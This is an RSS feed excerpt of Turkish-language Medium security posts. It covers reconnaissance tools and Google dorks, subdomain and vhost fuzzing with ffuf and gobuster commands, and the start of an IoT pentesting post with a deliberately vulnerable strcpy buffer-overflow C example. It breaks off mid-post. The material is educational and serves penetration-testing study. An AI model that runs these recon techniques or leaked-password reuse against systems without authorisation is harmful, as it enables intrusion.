/></figure><h3>Önemli Uyarı: Güncellemeyi Kaldırmak</h3><p>Apple, bu arka plan iyileştirmelerinin manuel olarak kaldırılmasının cihazı savunmasız bırakacağı konusunda uyarıyor. İyileştirme kaldırıldığında, cihaz sadece o yamayı değil, o ana kadar gelen tüm arka plan güvenlik katmanlarını silerek ana sürüme (baseline) geri döner</p><p>Apple’ın bu hamlesi, siber saldırganlara karşı “zaman avantajını” daraltan proaktif bir adımdır. Özellikle tüm üçüncü parti tarayıcıların ve uygulama içi web görünümlerinin WebKit kullandığı düşünüldüğünde, bu hızlı yama sistemi kullanıcı güvenliği için hayati önem taşımaktadır.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5196786c3d96" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bilgi Toplama]]></title>
            <link>https://medium.com/@kurtkaan/bilgi-toplama-092e5cef5745?source=rss-38b56ee03f4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/092e5cef5745</guid>
            <category><![CDATA[bilgi-güvenliği]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[siber-guvenlik]]></category>
            <dc:creator><![CDATA[Ömer Kaan Kurt]]></dc:creator>
            <pubDate>Mon, 15 Sep 2025 18:57:19 GMT</pubDate>
            <atom:updated>2025-09-15T18:57:19.908Z</atom:updated>
            <content:encoded><![CDATA[<h3>Pasif Bilgi Toplama</h3><p>Pasif bilgi toplama işleminde, hedef sistem ile hiçbir şekilde doğrudan iletişime girilmez ve sistem üzerinde iz bırakılmaz. Bunun yerine arama motorları, GitHub gibi platformlar veya açık kaynaklı diğer yapılar kullanılarak bilgi edinilmeye çalışılır.</p><h3>Whois Bilgileri</h3><p>Bir sistemin Whois bilgileri sayesinde alan adının kime ait olduğu, e-posta, adres, telefon ve hosting firması gibi bilgilere ulaşılabilir. Bu işlemler için <a href="https://who.is/">https://who.is/</a> adresi kullanılabilir veya Unix sistemlerde <strong>whois</strong> aracı kurularak terminal üzerinden sorgulama yapılabilir.</p><h3>Arşiv Siteleri</h3><p><a href="https://archive.org/">archive.org</a> adresinde bir sitenin belirli dönemlerde kaydedilmiş halleri görülebilir. Bu yöntemle sitede önceden yer alan fakat şu an görünmeyen kısımlar hakkında bilgi edinmek mümkündür.<br><strong>Örnek:</strong> Önceden mevcut olan bir buton şu an görünmüyor olabilir, ancak kod kısmında hâlâ tanımlı kalmış olabilir.</p><h3>Google Dorks</h3><p>Google Dorks, siber güvenlik uzmanları ve penetrasyon testçiler tarafından kullanılan güçlü bir pasif bilgi toplama yöntemidir. Bu teknikte, Google gibi arama motorlarının gelişmiş arama operatörleri kullanılarak hedef sistemler veya organizasyonlar hakkında hassas bilgiler tespit edilebilir. Temel mantık, hedefin internet üzerinde yanlış yapılandırılmış veya halka açık bıraktığı verileri bulmaktır.</p><h3>Temel Google Dorks Operatörleri</h3><ul><li><strong>site:</strong> Belirli bir alan adı veya domain içinde arama yapar.</li><li>Örnek: site:example.com &quot;login&quot; → example.com sitesinde “login” kelimesi geçen sayfaları bulur.</li><li><strong>filetype:</strong> Belirli bir dosya türünü arar.</li><li>Örnek: filetype:pdf &quot;confidential&quot; → PDF formatında “confidential” içeren belgeleri bulur.</li><li><strong>intitle:</strong> Sayfa başlığında belirli kelimeleri arar.</li><li>Örnek: intitle:&quot;index of&quot; → dizin listeleri veya açık dizin sayfalarını bulur.</li><li><strong>inurl:</strong> URL’de belirli kelimeleri arar.</li><li>Örnek: inurl:admin → URL’de “admin” geçen sayfaları tespit eder.</li><li><strong>intext:</strong> Sayfa içeriklerinde belirli kelimeleri arar.</li><li>Örnek: intext:&quot;password&quot; → “password” kelimesini içeren sayfaları bulur.</li><li><strong>cache:</strong> Google’ın önbelleğine alınmış sayfaları gösterir.</li><li>Örnek: cache:example.com → Google’ın önbelleğinde kayıtlı example.com sayfasını görüntüler.</li></ul><h3>Google Dorks ile Elde Edilebilecek Bilgiler</h3><ul><li>Açıkta bırakılmış kullanıcı adları ve parolalar</li><li>Konfigürasyon dosyaları ve yedekler</li><li>Hassas belgeler (PDF, DOCX, XLS vb.)</li><li>Açık dizinler ve web uygulama yapıları</li><li>Sistem sürümleri ve kullanılan yazılımlar</li></ul><h3>Bing Arama Motoru</h3><p>Bing arama motorunun sahip olduğu gelişmiş arama operatörleri sayesinde özelleştirilmiş aramalar yapılabilir. Bu motor üzerinde bir <strong>IP adresi</strong> yazıldığında, o IP üzerinde barındırılan tüm domain isimleri görüntülenebilir.<br>Bu yöntem özellikle paylaşımlı hosting kullanan web siteleri için önemlidir. Aynı sunucuda barınan ve zafiyetli olan başka bir site tespit edilirse, bu durum hedef sisteme sızmak için bir kapı görevi görebilir.</p><h3>Sosyal Medya</h3><p>Sosyal mühendislik testlerinde, hedef hakkında bilgi toplamanın en önemli yollarından biri sosyal medya platformlarıdır. Yaygın sosyal medya sitelerinde yapılan aramalar sayesinde hedefin yaşadığı yer, çalıştığı kurum, yaşı gibi kişisel bilgilere ulaşılabilir.</p><h3>Shodan.io</h3><p>Shodan, dünya genelindeki IP adreslerini tarayarak bu adreslerde açık olan servisleri listeleyen bir arama motorudur. Önemsiz görülen veya gözden kaçan dışarıya açık bir bağlantı, saldırganlar için bir fırsat olabilir. Örneğin, açık bir port üzerinde çalışan bir web kamerası veya giriş ekranı Shodan üzerinde listelenebilir.<br>Arama kısmına <strong>webcams</strong> yazıldığında, dünya genelinde açık web kamerası servisleri ve port bilgileri görüntülenebilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eK6yBlilb0DQN9qmRzDnEQ.png" /></figure><p>Shodan kullanarak belirli marka veya model üzerinde arama gerçekleştirilebilir ve üretici isimleri ile arama yaparak dışarıya açık olan giriş ekranları bulunabilir. Bu ekranlardan bazılarının hâlâ <strong>varsayılan (default) kullanıcı adı ve parola</strong> ile kullanıldığını görebilirsiniz.</p><h3>Robtex:</h3><p>Site üzerinden girilen domain adresi hakkında detaylı olarak DNS ve IP adresi bilgileri elde edilebilmektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*cFNmmLI7eT2RtTYCOVbXNg.png" /></figure><h3>RIPE.net</h3><p><strong>RIPE NCC</strong>, 70’ten fazla ülkenin IP adreslerinin organizasyonu ve tahsisini yapan bir kurumdur. RIPE NCC üzerinden IP adresi ve domain sorgusu yapılabilmektedir. Bir IP adresi girilerek yapılan arama sonucunda; hangi firma tarafından tahsis edildiği, kayıt tarihi ve benzeri bilgilere ulaşılabilir.</p><h3>Netcraft</h3><p><strong>Netcraft</strong> sitesi üzerinden domain araması yapılarak, ilgili alan adı hakkında detaylı bilgilere ulaşmak mümkündür. Bu bilgiler arasında barındırma sağlayıcısı, kullanılan teknolojiler, SSL sertifika durumu ve sitenin barındığı sunucuya dair teknik detaylar yer alabilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9HvRdJ0jfwtil8OLJsw0Qg.png" /></figure><h3>theHarvester</h3><p><strong>theHarvester</strong> aracına terminal ekranından theHarvester komutu ile ulaşılabilir. Kali Linux’ta varsayılan olarak kurulu gelen bu araç sayesinde, arama motorlarında listelenen veriler kullanılarak <strong>subdomain</strong> ve <strong>e-posta adresi keşfi</strong> yapılabilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*e6B7GM9AdnFO5my0gwdMqw.png" /></figure><h3>Have I Been Pwned</h3><p><a href="https://haveibeenpwned.com/">haveibeenpwned.com</a> adresinde, internette daha önce gerçekleşmiş veri sızıntıları içerisinde girdiğimiz e-posta adresinin bulunup bulunmadığı kontrol edilebilir.</p><p><strong>Örnek kullanım:</strong> Bir sızma testi sırasında şirkette yetkili bir kişinin e-posta adresine ulaşırsak, bu adresi <strong>Have I Been Pwned</strong> üzerinde sorgulayarak daha önce herhangi bir veri sızıntısında yer alıp almadığını öğrenebiliriz. Eğer sızıntı mevcutsa, bu sızıntıya ait parola hash’leri veya açık metin parolaları internette bulunuyor olabilir. İnsanlar genellikle aynı parolayı birden fazla yerde kullandığı için, bu parolalar başka sistemlere erişim sağlamakta da kullanılabilir.</p><p><strong>Not:</strong> <a href="http://www.dirk-loss.de/onlinetools.htm">http://www.dirk-loss.de/onlinetools.htm</a> adresinde, internet üzerinden bilgi toplamaya yardımcı olacak farklı çevrimiçi araçlara ulaşabilirsiniz.</p><h3>Aktif Bilgi Toplama</h3><p>Aktif bilgi toplama aşamasında, bulunan IP ve servis bilgileri üzerinden bazı araçlar ile tarama yapılır. Bu sayede DNS sorguları, DNS versiyon bilgileri, alan adları, alt alan adları gibi bilgilere ulaşılır.</p><h3>Maltego</h3><p>Maltego hem aktif hem de pasif bilgi toplama aracıdır. İçinde birçok amaç için geliştirilmiş modül bulunmaktadır. Bunlardan bazıları:</p><ul><li>Alan adları</li><li>Telefon numaraları</li><li>WHOIS sorgulama</li><li>Alan adı ve IP bilgileri (DNS, NS, MX kayıtları)</li><li>E-posta adresleri</li><li>Kişisel bilgiler</li><li>Web siteleri</li></ul><p>Maltego’ya giriş yapıldığında sol kısımda yer alan <strong>Entity Palette</strong> alanında birçok amaç için çeşitli modüller görülür. Buradan istek doğrultusunda modül veya modüller seçilerek domain veya IP bilgisi girilir ve işlem başlatılır.</p><h3>BuiltWith</h3><p><a href="https://builtwith.com/">https://builtwith.com/</a> sitesine gidilerek domain adresi girilir. Bu sayede hedef sitenin hangi teknoloji altyapılarını kullandığı öğrenilir.</p><h3>Sublist3r</h3><p>Sublist3r aracı, Google, Bing, Yahoo gibi arama motorlarını kullanarak alt alan adı taraması yapabilir. Aslında pasif bilgi toplama aracına girse de <strong>wordlist</strong> kullanarak alt alan adı tespiti yapabilmesi, onu aktif bilgi toplama aracı haline getirir.</p><ul><li>-d parametresi ile hedef belirtilir.</li><li>-b parametresi ile arama motorları ve servisler aranır.</li><li>Ek olarak -e parametresi ile kullanılacak arama motoru veya servis belirtilebilir.</li><li>Brute-force işlemleri de destekler.</li></ul><h3>DirBuster / Dirb</h3><p><strong>DirBuster:</strong><br> Klasör ve dizin keşifleri için kullanılan bir araçtır. Hedef web sitesinin alt dizinlerini bulmak için tercih edilir. Terminal ekranına dirbuster yazılarak grafiksel arayüz üzerinden kullanılabilir.</p><p><strong>Dirb:</strong><br> Dirb ise grafiksel arayüze sahip olmayan bir tarama aracıdır. Benzer şekilde alt dizin taraması yapar. Terminal ekranına dirb yazıp domain ve wordlist belirtilerek kullanılır.</p><h3>Gobuster</h3><p>Gobuster, bir diğer dizin keşif aracıdır. Terminale gobuster yazılarak çalıştırılır:</p><ul><li>-u ile URL belirtilir.</li><li>-w ile wordlist belirtilir.</li></ul><h3>Wfuzz</h3><p>Wfuzz, alt dizin tespiti için kullanılan bir başka araçtır. Terminale wfuzz yazılarak çalıştırılır. Domain belirtildikten sonra sonuna <strong>/FUZZ</strong> yazılır. Bu &quot;FUZZ&quot; kelimesinin yerine wordlist’teki kelimeler otomatik olarak denenir ve sonuçlar ekrana yazdırılır.</p><h3>dig</h3><p>dig komutu detaylı DNS sorgulaması yapmamızı sağlar. Kullanımı: Terminal ekranına dig yazıldıktan sonra domain belirtilir ve sorgulama başlar.</p><h3>Traceroute</h3><p>Traceroute, paketlerin hedef adrese ulaşana kadar geçtiği hostları ve yönlendirmeleri gösterir.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=092e5cef5745" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SUBDOMAİN TARAMA]]></title>
            <link>https://medium.com/@kurtkaan/subdomai%CC%87n-tarama-da78d9b959d4?source=rss-38b56ee03f4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/da78d9b959d4</guid>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ömer Kaan Kurt]]></dc:creator>
            <pubDate>Sun, 03 Aug 2025 14:44:16 GMT</pubDate>
            <atom:updated>2025-08-03T14:44:16.256Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*Zbnck5YRadincS3JR1wfVg.jpeg" /></figure><h3>Subdomain Nedir?</h3><ul><li>Subdomain, bir domainin altında yer alan ve genellikle ana sitenin farklı bir bölümüne ya da alt projeye hizmet eden alan adıdır.Formatı genelde: subdomain.domain.com şeklindedir.Örneğin, blog.example.com bir subdomain’dir ve ana domain olan example.com’dan farklı içerik veya hizmet sunabilir.</li></ul><h3>Subdomain Kullanım Alanları</h3><ul><li><strong>İçerik Ayırma:</strong><br> Örneğin, blog.example.com (blog için), support.example.com (destek için).</li><li><strong>Çoklu Dil Desteği:</strong><br> Örneğin, en.example.com (İngilizce), es.example.com (İspanyolca).</li><li><strong>Uygulama Ayrımı:</strong><br> Örneğin, app.example.com (uygulama arayüzü), api.example.com (API servisi).</li></ul><h3>Vhost (Virtual Host) Nedir?</h3><ul><li>Vhost, tek bir fiziksel sunucu üzerinde birden fazla web sitesinin barındırılmasını sağlayan bir tekniktir.Sanal hosting, aynı sunucu kaynaklarını (CPU, RAM, disk gibi) kullanarak farklı domain adlarını ağırlayabilir.Özellikle hosting firmaları için maliyet etkin bir çözümdür.</li></ul><h3>Giriş</h3><p><strong>Subdomain tarama</strong>, sızma testi sürecinin önemli bir parçasıdır. Burada amaç, bir ana domain altında bulunan ve genellikle ana web sitesinin farklı bölümlerine, hizmetlerine ya da uygulamalarına hizmet eden alt alan adlarını (subdomain) keşfetmektir.</p><p>Örneğin, “example.com” ana domain ise, “blog.example.com” veya “mail.example.com” gibi alt alan adları subdomain’lerdir.Sızma testi uzmanları için subdomain tarama, sadece var olan subdomainleri bulmak değil, aynı zamanda bu subdomainlerdeki potansiyel güvenlik açıklarını, bilgi sızıntılarını ve kritik noktaları (örneğin yönetim panellerini) ortaya çıkarma anlamına gelir. Bu da bir saldırı genişletir ve daha derin analiz yapılmasını sağlar.</p><h3>Subdomain Tarama Yöntemleri</h3><ol><li><strong>Brute Force Tarama:</strong><br> En yaygın yöntemlerden biridir. Burada wordlist (kelime listesi) kullanılarak hedef domain için olası subdomain isimleri tek tek denenir. Örneğin, “admin”, “test”, “dev” gibi kelimeler subdomain adı olarak denenir. Eğer “admin.example.com” varsa bu yöntemle bulunabilir.</li><li><strong>DNS Sorgulama:</strong><br> DNS kayıtları sorgulanarak, ya da DNS zone transfer açıklığı araştırılarak hedef domainin alt alan adları listelenebilir. Zone transfer açıklığı, DNS sunucusunun yanlış yapılandırılması durumunda tüm DNS kayıtlarının çekilmesine olanak verir.</li><li><strong>Arama Motorları:</strong><br> Google, Bing gibi arama motorları kullanılarak, site ile ilişkili subdomainler bulunabilir. Arama motorları tarafından indekslenen subdomainler, “site:example.com” veya “inurl:example.com” gibi aramalarla keşfedilebilir.</li><li><strong>Üçüncü Parti Araçlar ve Servisler:</strong><br> Shodan, Censys, VirusTotal gibi servisler, geniş çapta tarama yapar ve veri toplar. Bu servislerde hedef domainle ilgili subdomainler, IP adresleri, açık portlar gibi bilgiler bulunabilir.</li></ol><p><strong>Pasif subdomain keşfi:</strong> Hedef domain adına ait alt alan adlarının (subdomainlerin) haritalandırılması işlemidir.Hedefe doğrudan herhangi bir ağ trafiği gönderilmez veya hedef sistem üzerinde doğrudan sorgulama yapılmaz. Bu sayede hedef sistem üzerinde iz bırakmadan bilgi toplanabilir.Bu işlem, sızma testi (penetrasyon testi) veya güvenlik değerlendirmesi sırasında saldırı yüzeyini genişletir.Özellikle ağ yöneticilerinin gizli tutmaya çalıştığı yönetim panelleri gibi kritik subdomainleri ortaya çıkarabilir.</p><p>Pasif subdomain keşfi, sadece <strong>üçüncü taraf servisler</strong> veya <strong>halihazırda kamuya açık (public) bilgileri</strong> kullanarak yapılır. Bunlar aşağıdaki gibi kaynakları kapsar:</p><h3>1. SSL/TLS Sertifikalarından Subdomain Keşfi</h3><ul><li>SSL/TLS sertifikaları, alt alan adlarını keşfetmek için çok önemli bir bilgi kaynağıdır. Çünkü her SSL/TLS sertifikası, bir Sertifika Otoritesi (CA) tarafından verildikten sonra, Sertifika Şeffaflığı (Certificate Transparency — CT) projesi kapsamında <strong>public loglarda yayımlanmak zorundadır</strong>. Bu loglar, genellikle sertifikada kullanılan tüm domain ve subdomain isimlerini içerir. Bu nedenle, bir domainin SSL sertifikasında yer alan tüm alt alan adlarını bulmak mümkündür.</li></ul><h3>Ana Kaynaklar</h3><h4>a) Censys</h4><ul><li>İnternet üzerindeki cihazları, SSL/TLS sertifikalarını ve diğer yapılandırmaları tarayan bir veri tabanıdır.</li><li>Subdomain keşfi için, SSL/TLS sertifikalarında geçen alt alan adları Censys üzerinden sorgulanabilir.</li><li>Geniş ve güncel veri tabanıyla güvenlik araştırmacılarının favori kaynaklarından biridir.</li></ul><h4>b) CRT.sh</h4><ul><li>SSL/TLS sertifikaları için geliştirilmiş bir arama motorudur.</li><li>Sertifika şeffaflığı loglarını sorgulayarak, bir domain veya IP’ye ait tüm sertifikaları ve dolayısıyla subdomainleri listeleyebilir.</li><li>Genellikle basit ve hızlı sonuç almak için tercih edilir.</li></ul><h3>2. VirusTotal</h3><ul><li>VirusTotal, aslında zararlı dosya analiz servisi olarak bilinse de, aynı zamanda kullanıcıların verdiği URL’lerin DNS çözümlemelerini de tutar.Bu DNS kayıtları sayesinde, subdomain bilgileri toplanabilir.Bu sayede VirusTotal, pasif subdomain keşfinde alternatif bir kaynak olarak kullanılır.</li></ul><h3>3. DNSdumpster</h3><ul><li>DNSdumpster, sızma testi uzmanlarının bir domain ile ilgili DNS kayıtlarını, subdomainleri ve hostları keşfetmek için kullandığı çevrimiçi bir araçtır.Kolay kullanımı ve görsel çıktılarıyla bilgi toplamada yardımcı olur.</li></ul><h3>4. theHarvester</h3><ul><li>theHarvester, açık kaynaklı ve popüler bir bilgi toplama aracıdır.E-posta adresleri, subdomainler, hostlar ve başka hassas bilgileri kamuya açık kaynaklardan toplar.Komut satırı üzerinden kullanılır ve birçok farklı kaynakta arama yapabilir.</li></ul><h3>Aktif Subdomain Enumeration</h3><ul><li>Hedef domainin DNS sunucularına doğrudan sorgular göndererek veya brute force gibi yöntemlerle çalışır.</li></ul><h3>FFUF — Subdomain Fuzzing</h3><p>FFUF (Fuzz Faster U Fool), hızlı ve esnek bir fuzzing aracıdır. Özellikle web uygulamalarındaki zafiyetleri bulmak için tasarlanmıştır ancak subdomain keşfi (subdomain fuzzing) için de çok etkilidir.</p><p>Subdomain fuzzing, bir domainin alt alan adlarını keşfetmek için farklı kelimeleri hedef domainin başına ekleyerek (örneğin, mail.domain.com, dev.domain.com gibi) bu subdomainlerin var olup olmadığını aktif olarak sorgulamaktır.</p><p>Örnek kullanım ve Örnek çıktı:</p><p><strong>ffuf -w /path/to/wordlist -u </strong><a href="https://fuzz.example.com/"><strong>https://FUZZ.example.com/</strong></a></p><ul><li>-w: Wordlist dosyasının yolu-u: URL yapısı, burada FUZZ kelimesi kelime listesindeki her bir kelime ile değiştirilerek istek yapılır.</li></ul><p>mail — — — — &gt; [<strong>Status</strong>: 301, <strong>Size</strong>: 215, <strong>Words</strong>: 14, <strong>Lines</strong>: 11, <strong>Duration</strong>: 73ms]<br>m — — — — —→[<strong>Status</strong>: 302, <strong>Size</strong>: 282, <strong>Words</strong>: 9, <strong>Lines</strong>: 7, <strong>Duration</strong>: 85ms]<br>mobile — — — -&gt; [<strong>Status</strong>: 301, <strong>Size</strong>: 227, <strong>Words</strong>: 9, <strong>Lines</strong>: 7, <strong>Duration</strong>: 70ms]<br>www — →[<strong>Status</strong>: 200, <strong>Size</strong>: 18916, <strong>Words</strong>: 462, <strong>Lines</strong>: 17, <strong>Duration</strong>: 119ms]</p><ul><li>Status HTTP cevap kodunu gösterir (200 başarılı, 301-302 yönlendirme, 403 yetkisiz, vs.).</li><li>Size sayfanın büyüklüğünü (byte), Words sayfadaki kelime sayısını, Lines satır sayısını gösterir.</li><li>Duration sorgunun ne kadar sürdüğünü milisaniye cinsinden belirtir.</li></ul><h3>Vhost (Virtual Host) Fuzzing</h3><h4>1. Giriş: Pasif DNS Subdomain Keşfi ile Vhost Arasındaki Fark</h4><ul><li>Önceki subdomain fuzzing yöntemi, DNS kayıtlarında var olan subdomainleri keşfetmek içindi.Ancak bazı alt alan adları DNS kayıtlarında olmayabilir, yani <strong>public DNS kaydı yoktur</strong>.Bu durumda, DNS üzerinden subdomain keşfi başarısız olur.<strong>Vhost fuzzing</strong> yöntemi bu sorunu aşmak için kullanılır.</li></ul><h4>2. Vhost (Virtual Host) Nedir?</h4><ul><li>Bir web sunucusu aynı IP ve port üzerinde birden fazla siteyi barındırabilir.Bunu sağlamak için HTTP isteklerinde <strong>Host başlığı (Header)</strong> kullanılır.</li><li>Örnek: Host: admin.example.comSunucu gelen istekteki Host başlığına göre hangi siteyi göstermesi gerektiğine karar verir.</li></ul><h4>3. Vhost Fuzzing Neden Önemli?</h4><ul><li>DNS’de görünmeyen ancak sunucuda yapılandırılmış gizli veya test alt alan adları olabilir.Bu alt alan adları, yönetim panelleri veya özel servisler olabilir.</li><li>Vhost fuzzing ile DNS kaydı olmasa da, sunucu üzerinde hangi virtual hostların aktif olduğunu keşfedebiliriz.</li></ul><h4>FFUF ile Vhost Fuzzing Nasıl Yapılır?</h4><ul><li>Subdomain fuzzingdeki gibi URL’ye alt alan adı eklemek yerine,<strong>HTTP başlığındaki Host alanını değiştireceğiz.</strong></li><li>Böylece, DNS çözümlemesine bakmadan sadece HTTP isteği yaparak vhost’ları test etmiş oluruz.</li></ul><p><strong>ffuf -w /path/to/wordlist -u </strong><a href="https://example.com/"><strong>https://example.com</strong></a><strong> -H ‘Host: FUZZ.example.com’</strong></p><ul><li>-w: Wordlist (alt alan adı denemeleri için)</li><li>-u: Hedef URL (IP veya domain) — burada domain yerine genellikle ana domain veya IP verilir.</li><li>-H: HTTP Header belirtmek için kullanılır.</li><li>Host: FUZZ.example.com — burada FUZZ wordlistteki kelimelerle değişecek.</li></ul><h4>HTTP Yanıt Boyutuna Göre Filtreleme (-fs)</h4><p>Farklı Vhostlar genellikle farklı içerik ve dolayısıyla farklı HTTP yanıt boyutlarına sahiptir.Bu yüzden, yanıt boyutu filtrelemek için -fs parametresi kullanılır.Örneğin, default sayfa 4242 byte ise, farklı boyuttaki yanıtlar ilginç olabilir.</p><p>Örnek:</p><p><strong>ffuf -w /path/to/wordlist -u </strong><a href="http://example.com/"><strong>http://example.com</strong></a><strong> -H ‘Host: FUZZ.example.com’ -fs 4242</strong></p><ul><li>Bu komut, 4242 byte’a eşit olan cevapları atlar, sadece farklı boyutta olanları gösterir.</li><li>Böylece gerçek Vhostlar daha kolay tespit edilir.</li></ul><h3>Gobuster</h3><h4>Gobuster Nedir?</h4><ul><li>Gobuster, terminal tabanlı bir keşif aracıdır.Web sunucularında gizli dizinler, dosyalar, subdomainler ve daha fazlasını keşfetmek için kullanılır.Hızlı ve çok iş parçacıklı (multi-threaded) yapısıyla tercih edilir.</li></ul><h4>DNS Modu Nedir?</h4><ul><li>DNS modu, hedef domain altında bulunan alt alan adlarını (subdomain) keşfetmek için kullanılır.Bu modda, bir wordlistteki kelimeler hedef domain ile birleştirilir (örn. kelime.domain.com) ve DNS sorgusu yapılır.Sorgu sonucunda subdomain mevcutsa IP çözümlemesi yapılır.Amaç, aktif ve geçerli alt alan adlarını tespit etmektir.</li></ul><p>Örnek kullanımve Örnek çıktı:</p><p><strong>gobuster dns -d example.com -w /path/to/wordlist</strong></p><ul><li>-d, --domain: Tarama yapılacak hedef domain</li><li>-w, --wordlist: Subdomain isimleri içeren kelime listesi</li></ul><p>Found: <a href="http://www.facebook.com/">www.facebook.com</a><br>Found: m.facebook.com<br>Found: arena.facebook.com<br>Progress: 4989 / 4990 (99.98%)<br>Finished</p><p>Found: ile başlayan satırlar, geçerli DNS kaydı olan alt alan adlarını gösterir.</p><h4>Gobuster — Vhost Mode</h4><h3>Genel Bilgi</h3><ul><li>Gobuster; gizli dizin, dosya, subdomain ve daha fazlasını keşfetmek için kullanılan terminal tabanlı hızlı bir araçtır.<strong>Vhost modu</strong>, tek bir IP veya sunucu üzerinde aynı anda farklı isimler (virtual hosts) altında barındırılan birden fazla web sitesini bulmaya yarar.Kuruluşlar, kaynakları verimli kullanmak için aynı sunucuda birden fazla siteyi sanal hostlar (virtual hosts) şeklinde barındırabilir.Vhost modu, bu tür gizli veya unutulmuş sanal siteleri keşfetmek için kullanılır.</li></ul><h3>Nasıl Çalışır?</h3><ul><li>HTTP isteklerinde Host başlığı, sunucuya hangi web sitesinin istendiğini belirtir.Gobuster Vhost modu, bu Host başlığında fuzzing (kelime listesi ile deneme) yapar.</li><li>Örneğin, whm.example.com, mail.example.com gibi isimler Host başlığına sırayla yazılır ve sunucudan dönen yanıtlar gözlemlenir.Aynı IP üzerinde farklı web sitelerinin olup olmadığı bu şekilde test edilir.</li></ul><p><strong>gobuster vhost -u </strong><a href="https://example.com/"><strong>https://example.com</strong></a><strong> -w /path/to/wordlist</strong></p><ul><li>-u hedef URL (genellikle ana domain veya IP adresi)</li><li>-w kelime listesi yolu (wordlist)</li></ul><h4>HTTP Yanıt Boyutu ile Filtreleme</h4><ul><li>Birçok denemede aynı sayfa döndüğünden aynı boyutta yanıt alınır (örneğin 1542 bayt).</li><li>Gerçek bir vhost bulunduğunda genellikle yanıt boyutu değişir, çünkü o sanal hosta ait farklı içerik gelir.Bu nedenle --exclude-length parametresi ile belli boyuttaki yanıtlar filtrelenir.</li></ul><p>Örnek:</p><p><strong>gobuster vhost -u </strong><a href="https://example.com/"><strong>https://example.com</strong></a><strong> -w /path/to/wordlist — exclude-length 1542</strong></p><p>1542 bayt uzunluğundaki yanıtlar filtrelenir ve farklı boyuttaki yanıtlar gösterilir. Böylece gerçek vhostlar öne çıkar.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong><em>“Genel olarak, FFUF ve Gobuster gibi araçlarla gerçekleştirilen DNS ve VHost taramaları, bir web uygulamasının gizli alt alan adlarını, sanal hostlarını ve potansiyel güvenlik açıklarını keşfetmede kritik bir rol oynamaktadır; bu sayede, sızma testlerinde daha kapsamlı analizler yapılabilir ve sistemlerin güvenliği daha etkin bir şekilde değerlendirilebilir.”</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=da78d9b959d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IoT PENTESTİNG/Bölüm 2.]]></title>
            <link>https://medium.com/@kurtkaan/iot-pentesti%CC%87ng-b%C3%B6l%C3%BCm-2-09918b79f381?source=rss-38b56ee03f4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/09918b79f381</guid>
            <category><![CDATA[iot]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[sızma-testi]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[siber-guvenlik]]></category>
            <dc:creator><![CDATA[Ömer Kaan Kurt]]></dc:creator>
            <pubDate>Thu, 03 Jul 2025 19:12:15 GMT</pubDate>
            <atom:updated>2025-07-03T19:12:15.920Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lAHC5PuHeVVlpuwhiBQU4A.jpeg" /></figure><h3>IoT Güvenlik Zafiyetleri (IoT Security Vulnerabilities)</h3><p>IoT cihazları, yaygınlaşmaları ve internete bağlı olmaları nedeniyle <strong>siber saldırganlar için cazip hedeflerdir</strong>. Donanım sınırlamaları, zayıf yazılım güvenliği, şifreleme eksiklikleri gibi nedenlerle çok sayıda güvenlik açığı barındırabilirler.</p><h3>1. Zayıf Şifreler ve Kimlik Doğrulama</h3><h3>Açıklama:</h3><p>Birçok IoT cihazı, <strong>varsayılan (fabrika ayarı) kullanıcı adı ve şifre</strong> ile piyasaya sürülür. Kullanıcılar genellikle bu bilgileri değiştirmez ve cihazlar saldırganlara açık hale gelir.</p><h3>Örnek:</h3><ul><li>Cihaz: Güvenlik kamerası</li><li>Varsayılan kullanıcı adı: admin</li><li>Varsayılan şifre: password</li></ul><h3>2. Yazılım ve Donanım Hataları</h3><h3>Açıklama:</h3><p>Cihazlardaki kodlama hataları (özellikle <strong>bellek yönetimi</strong>) büyük güvenlik zafiyetlerine neden olabilir. En yaygın örneklerden biri <strong>buffer overflow</strong> (bellek taşması) saldırısıdır.</p><h3>Örnek:</h3><p>Akıllı ışık sistemine büyük boyutlu veri gönderildiğinde, sistem çöker veya saldırganın kodu çalıştırılır.</p><h3>Kod Örneği:Buffer Overflow:</h3><pre>c#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;</pre><pre>void vulnerable_function(char *str) {<br>    char buffer[16];<br>    strcpy(buffer, str);<br>    printf(&quot;Buffer: %s\n&quot;, buffer);<br>}</pre><pre>int main() {<br>    char large_string[256];<br>    memset(large_string, &#39;A&#39;, 255);<br>    large_string[255] = &#39;\0&#39;;<br><br>    vulnerable_function(large_string);<br>    return 0;<br>}</pre><p>Açıklama: strcpy, boyut kontrolü yapmadan large_string’i 16 baytlık buffer’a kopyalıyor. Bu, bellek taşmasına yol açar ve kötü amaçlı yazılımların çalıştırılmasına olanak verir.</p><h3>3. Verisizleşme ve Şifreleme Eksiklikleri</h3><h3>Açıklama:</h3><p>Veriler şifrelenmeden iletilirse, saldırganlar bu verileri <strong>ortadaki adam (MITM)</strong> saldırılarıyla kolayca ele geçirebilir. Özellikle sağlık ve finans verileri bu açıdan kritik önemdedir.</p><h3>Örnek:</h3><p>Bir 